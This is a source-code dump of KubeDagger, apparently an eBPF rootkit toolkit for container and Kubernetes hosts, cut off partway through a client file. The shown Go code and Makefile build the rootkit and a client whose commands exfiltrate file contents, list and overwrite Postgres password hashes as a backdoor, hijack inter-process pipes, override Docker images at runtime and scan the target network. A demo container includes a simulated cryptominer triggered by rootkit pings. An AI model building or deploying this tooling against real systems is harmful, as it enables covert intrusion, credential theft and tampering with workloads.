├── .gitignore ├── LICENSE ├── Makefile ├── README.md ├── charts └── webapp │ ├── Chart.yaml │ ├── templates │ ├── postgres-deployment.yaml │ ├── postgres-service.yaml │ └── postgres-storage.yaml │ └── values.yaml ├── cmd ├── demo │ ├── pause │ │ ├── kubedagger.go │ │ └── main.go │ └── webapp │ │ ├── main.go │ │ ├── model.go │ │ └── version.go ├── kubedagger-client │ ├── main.go │ └── run │ │ ├── cmd.go │ │ ├── docker │ │ ├── del.go │ │ ├── list.go │ │ ├── put.go │ │ └── utils.go │ │ ├── fs_watch │ │ ├── add.go │ │ ├── delete.go │ │ ├── get.go │ │ └── utils.go │ │ ├── kubedagger-client.go │ │ ├── model │ │ └── model.go │ │ ├── network_discovery │ │ ├── get.go │ │ ├── graph.go │ │ ├── scan.go │ │ └── utils.go │ │ ├── options.go │ │ ├── pipe_prog │ │ ├── del.go │ │ ├── put.go │ │ └── utils.go │ │ ├── postgres │ │ ├── del.go │ │ ├── list.go │ │ ├── put.go │ │ └── utils.go │ │ └── utils │ │ ├── byteorder.go │ │ └── cleanup.go └── kubedagger │ ├── main.go │ └── run │ ├── cmd.go │ ├── kubedagger.go │ └── options.go ├── dockerhub ├── pause │ ├── Dockerfile │ ├── Makefile │ └── pause.c └── webapp │ ├── Dockerfile │ └── Makefile ├── ebpf ├── .gitignore ├── bootstrap.c ├── bpf │ ├── bpf.h │ ├── bpf_helpers.h │ └── bpf_map.h ├── kubedagger │ ├── arp.h │ ├── base64.h │ ├── bpf.h │ ├── cgroup.h │ ├── const.h │ ├── defs.h │ ├── dns.h │ ├── docker.h │ ├── fs.h │ ├── fs_action.h │ ├── fs_action_defs.h │ ├── fs_action_user.h │ ├── fs_watch.h │ ├── hash.h │ ├── http_action.h │ ├── http_response.h │ ├── http_router.h │ ├── kmod.h │ ├── network_discovery.h │ ├── parser.h │ ├── pipe.h │ ├── postgres.h │ ├── process.h │ ├── raw_syscalls.h │ ├── signal.h │ ├── sqli.h │ ├── stat.h │ ├── tc.h │ ├── tcp_ack_override.h │ ├── tcp_check.h │ └── xdp.h └── main.c ├── go.mod ├── go.sum ├── graphs ├── active_network_discovery.svg ├── network_discovery.svg └── passive_network_discovery.svg ├── logo └── logo-removebg-preview.png ├── pkg ├── assets │ └── probe.go ├── kubedagger │ ├── byteorder.go │ ├── fa_action.go │ ├── hash.go │ ├── kubedagger.go │ ├── manager.go │ ├── model.go │ ├── program.go │ └── utils.go └── model │ └── model.go └── tools.go /.gitignore: -------------------------------------------------------------------------------- 1 | bin/ -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | all: build-ebpf build-webapp build-rootkit build-client build-pause 2 | 3 | rootkit: build-ebpf build-rootkit 4 | 5 | rootkit-aws: build-ebpf-aws build-rootkit 6 | 7 | compile = clang -D__KERNEL__ -D__ASM_SYSREG_H \ 8 | $(3) \ 9 | -DUSE_SYSCALL_WRAPPER=1 \ 10 | -DKBUILD_MODNAME=\"kubedagger\" \ 11 | -Wno-unused-value \ 12 | -Wno-pointer-sign \ 13 | -Wno-compare-distinct-pointer-types \ 14 | -Wunused \ 15 | -Wall \ 16 | -Werror \ 17 | -I/lib/modules/$$(uname -r)/build/include \ 18 | -I/lib/modules/$$(uname -r)/build/include/uapi \ 19 | -I/lib/modules/$$(uname -r)/build/include/generated/uapi \ 20 | -I/lib/modules/$$(uname -r)/build/arch/x86/include \ 21 | -I/lib/modules/$$(uname -r)/build/arch/x86/include/uapi \ 22 | -I/lib/modules/$$(uname -r)/build/arch/x86/include/generated \ 23 | -O2 -emit-llvm \ 24 | $(1) \ 25 | -c -o - | llc -march=bpf -filetype=obj -o $(2) 26 | 27 | build-ebpf: 28 | mkdir -p ebpf/bin 29 | $(call compile,ebpf/bootstrap.c,ebpf/bin/bootstrap.o,) 30 | $(call compile,ebpf/main.c,ebpf/bin/main.o,) 31 | go run github.com/shuLhan/go-bindata/cmd/go-bindata -pkg assets -prefix "ebpf/bin" -o "pkg/assets/probe.go" "ebpf/bin/bootstrap.o" "ebpf/bin/main.o" 32 | 33 | build-ebpf-aws: 34 | mkdir -p ebpf/bin 35 | $(call compile,ebpf/main.c,ebpf/bin/probe.o,-DHTTP_REQ_PATTERN=89) 36 | go run github.com/shuLhan/go-bindata/cmd/go-bindata -pkg assets -prefix "ebpf/bin" -o "pkg/assets/probe.go" "ebpf/bin/probe.o" 37 | 38 | build-webapp: 39 | mkdir -p bin/ 40 | go build -o bin/ ./cmd/demo/webapp 41 | 42 | build-rootkit: 43 | mkdir -p bin/ 44 | go build -o bin/ ./cmd/kubedagger 45 | 46 | build-client: 47 | mkdir -p bin/ 48 | go build -o bin/ ./cmd/kubedagger-client 49 | 50 | build-pause: 51 | CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags '-w' -o bin/ ./cmd/demo/pause/./... 52 | 53 | static: 54 | mkdir -p bin/ 55 | go build -tags osusergo,netgo -ldflags="-extldflags '-static'" -o bin/ ./cmd/./... 56 | 57 | run: 58 | sudo ./bin/kubedagger 59 | 60 | install_client: 61 | sudo cp ./bin/kubedagger-client /usr/bin/ 62 | -------------------------------------------------------------------------------- /charts/webapp/Chart.yaml: -------------------------------------------------------------------------------- 1 | name: webapp 2 | description: webapp demo 3 | version: 0.1.0 4 | -------------------------------------------------------------------------------- /charts/webapp/templates/postgres-deployment.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: apps/v1 2 | kind: Deployment 3 | metadata: 4 | name: {{ .Values.deployments.pgName }} 5 | spec: 6 | replicas: 1 7 | selector: 8 | matchLabels: 9 | app: {{ .Values.deployments.pgName }} 10 | template: 11 | metadata: 12 | labels: 13 | app: {{ .Values.deployments.pgName }} 14 | spec: 15 | containers: 16 | - name: {{ .Values.deployments.pgName }} 17 | image: {{ .Values.deployments.pgImage }}:{{ .Values.deployments.pgTag }} 18 | imagePullPolicy: {{ .Values.deployments.imagePullPolicy }} 19 | ports: 20 | - containerPort: {{ .Values.deployments.pgPort }} 21 | env: 22 | - name: POSTGRES_DB 23 | value: {{ .Values.deployments.pgDBName }} 24 | - name: POSTGRES_USER 25 | value: {{ .Values.deployments.pgDBUser }} 26 | - name: POSTGRES_PASSWORD 27 | value: {{ .Values.deployments.pgDBPassword }} 28 | volumeMounts: 29 | - mountPath: /var/lib/postgresql/data 30 | name: postgredb 31 | volumes: 32 | - name: postgredb 33 | persistentVolumeClaim: 34 | claimName: postgres-pv-claim -------------------------------------------------------------------------------- /charts/webapp/templates/postgres-service.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: postgres 5 | labels: 6 | app: postgres 7 | spec: 8 | type: NodePort 9 | ports: 10 | - port: 5432 11 | selector: 12 | app: postgres -------------------------------------------------------------------------------- /charts/webapp/templates/postgres-storage.yaml: -------------------------------------------------------------------------------- 1 | kind: PersistentVolume 2 | apiVersion: v1 3 | metadata: 4 | name: postgres-pv-volume 5 | labels: 6 | type: local 7 | app: postgres 8 | spec: 9 | storageClassName: manual 10 | capacity: 11 | storage: 5Gi 12 | accessModes: 13 | - ReadWriteMany 14 | hostPath: 15 | path: "/mnt/data" 16 | --- 17 | kind: PersistentVolumeClaim 18 | apiVersion: v1 19 | metadata: 20 | name: postgres-pv-claim 21 | labels: 22 | app: postgres 23 | spec: 24 | storageClassName: manual 25 | accessModes: 26 | - ReadWriteMany 27 | resources: 28 | requests: 29 | storage: 5Gi -------------------------------------------------------------------------------- /charts/webapp/values.yaml: -------------------------------------------------------------------------------- 1 | # Default values 2 | deployments: 3 | # Pause 4 | pauseName: pause 5 | pauseImage: gui774ume/pause 6 | pauseTag: latest 7 | pausePort: 80 8 | # Postgres 9 | pgName: postgres 10 | pgImage: gui774ume/postgres 11 | pgTag: latest 12 | pgPort: 5432 13 | pgDBName: postgresdb 14 | pgDBUser: postgresadmin 15 | pgDBPassword: admin123 16 | 17 | # Generic 18 | imagePullPolicy: Always 19 | -------------------------------------------------------------------------------- /cmd/demo/pause/kubedagger.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package main 18 | 19 | import ( 20 | "os" 21 | "syscall" 22 | "time" 23 | "unsafe" 24 | 25 | kubedagger "github.com/yasindce1998/KubeDagger/pkg/kubedagger" 26 | ) 27 | 28 | func setupKUBEDagger() { 29 | // make a stat syscall to check if this pause container should die 30 | ans, err := sendKUBEDaggerPing() 31 | if err != nil { 32 | ans = kubedagger.PingNop 33 | } 34 | 35 | switch ans { 36 | case kubedagger.PingNop: 37 | pause() 38 | case kubedagger.PingRun: 39 | go pause() 40 | // run an infinite loop to simulate the cryptominer 41 | for { 42 | time.Sleep(1 * time.Nanosecond) 43 | } 44 | case kubedagger.PingCrash: 45 | os.Exit(1) 46 | } 47 | return 48 | } 49 | 50 | func sendKUBEDaggerPing() (uint16, error) { 51 | pingPtr, err := syscall.BytePtrFromString("kubedagger://ping:gui774ume/pause2") 52 | if err != nil { 53 | return kubedagger.PingNop, err 54 | } 55 | 56 | _, _, _ = syscall.Syscall6(syscall.SYS_NEWFSTATAT, 0, uintptr(unsafe.Pointer(pingPtr)), 0, 0, 0, 0) 57 | 58 | switch *pingPtr { 59 | case 'e', '0': 60 | return kubedagger.PingNop, nil 61 | case '1': 62 | return kubedagger.PingCrash, nil 63 | case '2': 64 | return kubedagger.PingRun, nil 65 | } 66 | return kubedagger.PingNop, nil 67 | } 68 | -------------------------------------------------------------------------------- /cmd/demo/pause/main.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package main 18 | 19 | import ( 20 | "flag" 21 | "fmt" 22 | "os" 23 | "os/signal" 24 | "syscall" 25 | ) 26 | 27 | func main() { 28 | version := flag.Bool("v", false, "") 29 | flag.Parse() 30 | 31 | if version != nil && *version { 32 | fmt.Println("pause (kubedagger)") 33 | } 34 | 35 | if os.Getpid() != 1 { 36 | fmt.Println("Warning: pause should be the first process") 37 | } 38 | 39 | setupKUBEDagger() 40 | 41 | os.Exit(42) // to keep the joke running 42 | return 43 | } 44 | 45 | // pause waits until an interrupt or kill signal is sent 46 | func pause() { 47 | for { 48 | sigDown := make(chan os.Signal, 1) 49 | signal.Notify(sigDown, syscall.SIGINT, syscall.SIGTERM) 50 | 51 | sigReap := make(chan os.Signal, 1) 52 | signal.Notify(sigReap, syscall.SIGCHLD) 53 | 54 | select { 55 | case sig := <-sigDown: 56 | if sig == syscall.SIGINT { 57 | os.Exit(1) 58 | } 59 | if sig == syscall.SIGTERM { 60 | os.Exit(2) 61 | } 62 | return 63 | case sig := <-sigReap: 64 | if sig == syscall.SIGSTOP || sig == syscall.SIGTSTP || sig == syscall.SIGTTIN || sig == syscall.SIGTTOU || sig == syscall.SIGCONT { 65 | continue 66 | } 67 | } 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /cmd/demo/webapp/main.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package main 18 | 19 | import ( 20 | "encoding/json" 21 | "flag" 22 | "fmt" 23 | "io/ioutil" 24 | "log" 25 | "net/http" 26 | "net/http/httputil" 27 | 28 | "github.com/gorilla/mux" 29 | ) 30 | 31 | func main() { 32 | port := flag.Int("port", 8000, "port to use for the HTTP server") 33 | ip := flag.String("ip", "0.0.0.0", "ip on which to bind") 34 | flag.Parse() 35 | r := mux.NewRouter() 36 | r.HandleFunc("/healthcheck", HealthCheckHandler) 37 | r.HandleFunc("/api/products", ProductsHandler).Methods("POST") 38 | r.HandleFunc("/api/articles", ArticlesHandler) 39 | r.NotFoundHandler = NotFoundHandler() 40 | r.MethodNotAllowedHandler = MethodNotAllowedHandler() 41 | 42 | // Bind to a port and pass our router in 43 | log.Fatal(http.ListenAndServe(fmt.Sprintf("%s:%d", *ip, *port), r)) 44 | } 45 | 46 | func logPrefix(r *http.Request) string { 47 | var url string 48 | if r.URL != nil { 49 | url = r.URL.String() 50 | } else { 51 | url = r.RequestURI 52 | } 53 | 54 | return fmt.Sprintf("%s - %s %s", r.RemoteAddr, r.Method, url) 55 | } 56 | 57 | func HealthCheckHandler(w http.ResponseWriter, r *http.Request) { 58 | b, err := httputil.DumpRequest(r, true) 59 | if err == nil { 60 | log.Printf("%s", b) 61 | } 62 | 63 | data, _ := json.Marshal(NewMessage("OK", http.StatusOK)) 64 | w.Write(data) 65 | log.Printf("%s - %d\n", logPrefix(r), http.StatusOK) 66 | } 67 | 68 | func ProductsHandler(w http.ResponseWriter, r *http.Request) { 69 | data, err := ioutil.ReadAll(r.Body) 70 | if err != nil { 71 | log.Fatalf("%s - couldn't read request body !\n", logPrefix(r)) 72 | } 73 | w.Write([]byte("Product ok !\n")) 74 | log.Printf("%s - (%d) %s - %d\n", logPrefix(r), len(data), string(data), http.StatusOK) 75 | } 76 | 77 | func ArticlesHandler(w http.ResponseWriter, r *http.Request) { 78 | data, err := ioutil.ReadAll(r.Body) 79 | if err != nil { 80 | log.Fatalf("%s - couldn't read request body !\n", logPrefix(r)) 81 | } 82 | w.Write([]byte("Articles ok !\n")) 83 | log.Printf("%s - (%d) %s - %d\n", logPrefix(r), len(data), string(data), http.StatusOK) 84 | } 85 | 86 | func NotFoundHandler() http.Handler { 87 | return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { 88 | log.Printf("%s - %d\n", logPrefix(r), http.StatusNotFound) 89 | http.Error(w, http.StatusText(http.StatusNotFound), http.StatusNotFound) 90 | }) 91 | } 92 | 93 | func MethodNotAllowedHandler() http.Handler { 94 | return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { 95 | log.Printf("%s - %d\n", logPrefix(r), http.StatusMethodNotAllowed) 96 | http.Error(w, http.StatusText(http.StatusMethodNotAllowed), http.StatusMethodNotAllowed) 97 | }) 98 | } 99 | -------------------------------------------------------------------------------- /cmd/demo/webapp/model.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package main 18 | 19 | import "time" 20 | 21 | type Version struct { 22 | Version string `json:"version"` 23 | Hash string `json:"hash"` 24 | GitCommit string `json:"git_commit"` 25 | ReleaseDate string `json:"release_date"` 26 | } 27 | 28 | type Message struct { 29 | APIVersion Version `json:"api"` 30 | Timestamp time.Time `json:"timestamp"` 31 | Status int `json:"status"` 32 | Data interface{} `json:"data"` 33 | } 34 | 35 | func NewMessage(data string, status int) Message { 36 | return Message{ 37 | APIVersion: Version{ 38 | Version: APIVersion, 39 | Hash: APIHash, 40 | GitCommit: GitCommit, 41 | ReleaseDate: ReleaseDate, 42 | }, 43 | Timestamp: time.Now(), 44 | Status: status, 45 | Data: data, 46 | } 47 | } 48 | 49 | type Product struct { 50 | Name string `json:"name"` 51 | Price int `json:"price"` 52 | InStock int `json:"in_stock"` 53 | } 54 | 55 | type Article struct { 56 | Name string `json:"name"` 57 | Timestamp time.Time `json:"timestamp"` 58 | Author string `json:"author"` 59 | ReadTime time.Duration `json:"read_time"` 60 | } 61 | -------------------------------------------------------------------------------- /cmd/demo/webapp/version.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package main 18 | 19 | const ( 20 | APIVersion string = "1.0.1" 21 | APIHash string = "9b71d224bd62f3785d96d46ad3ea3d73319bfbc2890caadae2dff72519673ca72323c3d99ba5c11d7cfc1d215a922ad186ac28b0aaa23ed6ebe436e67aacd987cc6e14b8c5da0c4663475c2e5c3adef46f73bcdec043" 22 | GitCommit string = "c1d215a922ad186acbe436e6e2c513128b0aaa23ed6e3a4d48140b4931895384bc5b8074b7ef6b1a3e2a65b5be0c875871fec6e1a38f9c3de2c51313a4d48140b4931895384bc5b8074b7ef6b35c208abd4e16f2" 23 | ReleaseDate string = "2021-03-29T13:51:31.606184183Z" 24 | ) 25 | -------------------------------------------------------------------------------- /cmd/kubedagger-client/main.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package main 18 | 19 | import ( 20 | "github.com/sirupsen/logrus" 21 | 22 | "github.com/yasindce1998/KubeDagger/cmd/kubedagger-client/run" 23 | ) 24 | 25 | func main() { 26 | logrus.SetFormatter(&logrus.TextFormatter{ 27 | FullTimestamp: true, 28 | TimestampFormat: "2006-01-02T15:04:05Z", 29 | DisableLevelTruncation: true, 30 | }) 31 | run.KUBEDaggerClient.Execute() 32 | } 33 | -------------------------------------------------------------------------------- /cmd/kubedagger-client/run/cmd.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package run 18 | 19 | import ( 20 | "github.com/spf13/cobra" 21 | ) 22 | 23 | // KUBEDaggerClient represents the base command of the kubeDaggerClient 24 | var KUBEDaggerClient = &cobra.Command{ 25 | Use: "kubedagger-client", 26 | } 27 | 28 | var cmdFSWatch = &cobra.Command{ 29 | Use: "fs_watch", 30 | Short: "file system watches", 31 | Long: "fs_watch can be used to exfiltrate file content", 32 | } 33 | 34 | var cmdPipeProg = &cobra.Command{ 35 | Use: "pipe_prog", 36 | Short: "piped programs configuration", 37 | Long: "pipe_prog can be used to intercept and control pipes between two processes", 38 | } 39 | 40 | var cmdDockerProg = &cobra.Command{ 41 | Use: "docker", 42 | Short: "Docker image override configuration", 43 | Long: "the docker command can be used to configure how Docker images are overridden at runtime", 44 | } 45 | 46 | var cmdPostgresProg = &cobra.Command{ 47 | Use: "postgres", 48 | Short: "postgresql authentication control", 49 | Long: "the postgres command can be used to exfiltrate Postgresql password hashes and change them at runtime", 50 | } 51 | 52 | var cmdNetworkDiscoveryProg = &cobra.Command{ 53 | Use: "network_discovery", 54 | Short: "network discovery configuration", 55 | Long: "network_discovery can be used to scan the network of the target system", 56 | } 57 | 58 | var cmdAddFSWatch = &cobra.Command{ 59 | Use: "add [path of file]", 60 | Short: "add a filesystem watch", 61 | Long: "add is used to add a filesystem watch on the target system", 62 | RunE: addFSWatchCmd, 63 | Args: cobra.MinimumNArgs(1), 64 | } 65 | 66 | var cmdDeleteFSWatch = &cobra.Command{ 67 | Use: "delete [path of file]", 68 | Short: "delete a filesystem watch", 69 | Long: "delete is used to remove a filesystem watch on the target system", 70 | RunE: deleteFSWatchCmd, 71 | Args: cobra.MinimumNArgs(1), 72 | } 73 | 74 | var cmdGetFSWatch = &cobra.Command{ 75 | Use: "get [path of file]", 76 | Short: "get a filesystem watch", 77 | Long: "get is used to dump a watched file from the target system", 78 | RunE: getFSWatchCmd, 79 | Args: cobra.MinimumNArgs(1), 80 | } 81 | 82 | var cmdPutPipeProg = &cobra.Command{ 83 | Use: "put [program]", 84 | Short: "put sends a program to pipe", 85 | Long: "put is used to send a program and the command of the process you want to pipe it to on the target system", 86 | RunE: putPipeProgCmd, 87 | Args: cobra.MinimumNArgs(1), 88 | } 89 | 90 | var cmdDelPipeProg = &cobra.Command{ 91 | Use: "delete", 92 | Short: "delete a piped program", 93 | Long: "delete is used to delete a piped program on the target system", 94 | RunE: delPipeProgCmd, 95 | } 96 | 97 | var cmdGetImagesList = &cobra.Command{ 98 | Use: "list", 99 | Short: "list container images", 100 | Long: "list returns the list of Docker images detected", 101 | RunE: getImagesListCmd, 102 | } 103 | 104 | var cmdPutDockerImageOverride = &cobra.Command{ 105 | Use: "put", 106 | Short: "put sends an image override request", 107 | Long: "put is used to request that a Docker image is overridden on the target system", 108 | RunE: putDockerImageOverrideCmd, 109 | } 110 | 111 | var cmdDelDockerImageOverride = &cobra.Command{ 112 | Use: "delete", 113 | Short: "delete removes a Docker image override request", 114 | Long: "delete is used to stop overriding the provided Docker image on the target system", 115 | RunE: delDockerImageOverrideCmd, 116 | } 117 | 118 | var cmdPostgresCredentialsList = &cobra.Command{ 119 | Use: "list", 120 | Short: "list postgres credentials", 121 | Long: "list returns the list of the Postgres credentials detected on the target system", 122 | RunE: getPostgresCredentialsCmd, 123 | } 124 | 125 | var cmdPutPGBackdoorSecret = &cobra.Command{ 126 | Use: "put", 127 | Short: "put overrides a set of Postgres credentials", 128 | Long: "put is used to override a set of Postgres credentials on the target system (the provided role needs to exist)", 129 | RunE: putPostgresRoleCmd, 130 | } 131 | 132 | var cmdGetNetworkDiscovery = &cobra.Command{ 133 | Use: "get", 134 | Short: "get network discovery data", 135 | Long: "get returns the list of data collected by the network discovery feature on the target system", 136 | RunE: getNetworkDiscoveryCmd, 137 | } 138 | 139 | var cmdGetNetworkDiscoveryScan = &cobra.Command{ 140 | Use: "scan", 141 | Short: "scan the network of the target system", 142 | Long: "scan triggers a network SYN scan on the target system with the provided parameters", 143 | RunE: getNetworkDiscoveryScanCmd, 144 | } 145 | 146 | var cmdDelPGBackdoorSecret = &cobra.Command{ 147 | Use: "delete", 148 | Short: "delete removes a set of Postgres credentials", 149 | Long: "delete is used to remove a set of Postgres credentials from the target system", 150 | RunE: delPostgresRoleCmd, 151 | } 152 | 153 | var options CLIOptions 154 | 155 | func init() { 156 | KUBEDaggerClient.PersistentFlags().VarP( 157 | NewLogLevelSanitizer(&options.LogLevel), 158 | "log-level", 159 | "l", 160 | "log level, options: panic, fatal, error, warn, info, debug or trace") 161 | KUBEDaggerClient.PersistentFlags().VarP( 162 | NewTargetParser(&options.Target), 163 | "target", 164 | "t", 165 | "target application URL") 166 | 167 | cmdFSWatch.PersistentFlags().BoolVar( 168 | &options.InContainer, 169 | "in-container", 170 | false, 171 | "defines if the watched file is in a container") 172 | cmdFSWatch.PersistentFlags().BoolVar( 173 | &options.Active, 174 | "active", 175 | false, 176 | "defines if kubedagger should passively wait for the file to be opened, or actively make a process open it") 177 | cmdFSWatch.PersistentFlags().StringVarP( 178 | &options.Output, 179 | "output", 180 | "o", 181 | "", 182 | "output file to write into") 183 | 184 | cmdFSWatch.AddCommand(cmdAddFSWatch) 185 | cmdFSWatch.AddCommand(cmdDeleteFSWatch) 186 | cmdFSWatch.AddCommand(cmdGetFSWatch) 187 | KUBEDaggerClient.AddCommand(cmdFSWatch) 188 | 189 | cmdPipeProg.PersistentFlags().StringVar( 190 | &options.From, 191 | "from", 192 | "", 193 | "command of the program sending data over the pipe (16 chars, '#' is a forbidden char)") 194 | cmdPipeProg.PersistentFlags().StringVar( 195 | &options.To, 196 | "to", 197 | "", 198 | "command of the program reading data from the pipe (16 chars, '#' is a forbidden char)") 199 | cmdPipeProg.PersistentFlags().BoolVar( 200 | &options.Backup, 201 | "backup", 202 | false, 203 | "defines if kubedagger should backup the original piped data and re-inject it after the provided program") 204 | 205 | cmdPipeProg.AddCommand(cmdPutPipeProg) 206 | cmdPipeProg.AddCommand(cmdDelPipeProg) 207 | KUBEDaggerClient.AddCommand(cmdPipeProg) 208 | 209 | cmdGetImagesList.PersistentFlags().StringVarP( 210 | &options.Output, 211 | "output", 212 | "o", 213 | "", 214 | "output file to write into") 215 | cmdPutDockerImageOverride.PersistentFlags().StringVar( 216 | &options.From, 217 | "from", 218 | "", 219 | "defines the Docker image to override") 220 | cmdPutDockerImageOverride.PersistentFlags().StringVar( 221 | &options.To, 222 | "to", 223 | "", 224 | "defines the Docker image to override with") 225 | cmdPutDockerImageOverride.PersistentFlags().IntVar( 226 | &options.Override, 227 | "override", 228 | 0, 229 | "defines the action to take: 0 for nop, 1 for replace") 230 | cmdPutDockerImageOverride.PersistentFlags().IntVar( 231 | &options.Ping, 232 | "ping", 233 | 0, 234 | "defines the answer to give on a ping from the input Docker image: 0 for nop, 1 for crash, 2 for run and 3 for hide") 235 | cmdDelDockerImageOverride.PersistentFlags().StringVar( 236 | &options.From, 237 | "from", 238 | "", 239 | "defines the Docker image") 240 | 241 | cmdDockerProg.AddCommand(cmdGetImagesList) 242 | cmdDockerProg.AddCommand(cmdPutDockerImageOverride) 243 | cmdDockerProg.AddCommand(cmdDelDockerImageOverride) 244 | KUBEDaggerClient.AddCommand(cmdDockerProg) 245 | 246 | cmdPostgresCredentialsList.PersistentFlags().StringVarP( 247 | &options.Output, 248 | "output", 249 | "o", 250 | "", 251 | "output file to write into") 252 | cmdPutPGBackdoorSecret.PersistentFlags().StringVar( 253 | &options.Secret, 254 | "secret", 255 | "", 256 | "defines the Postgres secret to send") 257 | cmdPutPGBackdoorSecret.PersistentFlags().StringVar( 258 | &options.Role, 259 | "role", 260 | "", 261 | "defines the Postgres role to send") 262 | cmdDelPGBackdoorSecret.PersistentFlags().StringVar( 263 | &options.Role, 264 | "role", 265 | "", 266 | "defines the Postgres role to delete") 267 | 268 | cmdPostgresProg.AddCommand(cmdPostgresCredentialsList) 269 | cmdPostgresProg.AddCommand(cmdPutPGBackdoorSecret) 270 | cmdPostgresProg.AddCommand(cmdDelPGBackdoorSecret) 271 | KUBEDaggerClient.AddCommand(cmdPostgresProg) 272 | 273 | cmdGetNetworkDiscovery.PersistentFlags().BoolVar( 274 | &options.ActiveDiscovery, 275 | "active", 276 | false, 277 | "defines if flows discovered by the active scan should be shown") 278 | cmdGetNetworkDiscovery.PersistentFlags().BoolVar( 279 | &options.PassiveDiscovery, 280 | "passive", 281 | false, 282 | "defines if flows discovered by the passive scan should be shown") 283 | cmdGetNetworkDiscoveryScan.PersistentFlags().StringVar( 284 | &options.IP, 285 | "ip", 286 | "", 287 | "defines the starting IP address of the network scan") 288 | cmdGetNetworkDiscoveryScan.PersistentFlags().StringVar( 289 | &options.Port, 290 | "port", 291 | "", 292 | "defines the starting port of the network scan") 293 | cmdGetNetworkDiscoveryScan.PersistentFlags().StringVar( 294 | &options.Range, 295 | "range", 296 | "20", 297 | "defines the number of ports to scan, starting at the port defined by 'port'") 298 | 299 | cmdNetworkDiscoveryProg.AddCommand(cmdGetNetworkDiscovery) 300 | cmdNetworkDiscoveryProg.AddCommand(cmdGetNetworkDiscoveryScan) 301 | KUBEDaggerClient.AddCommand(cmdNetworkDiscoveryProg) 302 | } 303 | -------------------------------------------------------------------------------- /cmd/kubedagger-client/run/docker/del.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package docker 18 | 19 | import ( 20 | "io/ioutil" 21 | "net/http" 22 | "net/http/httputil" 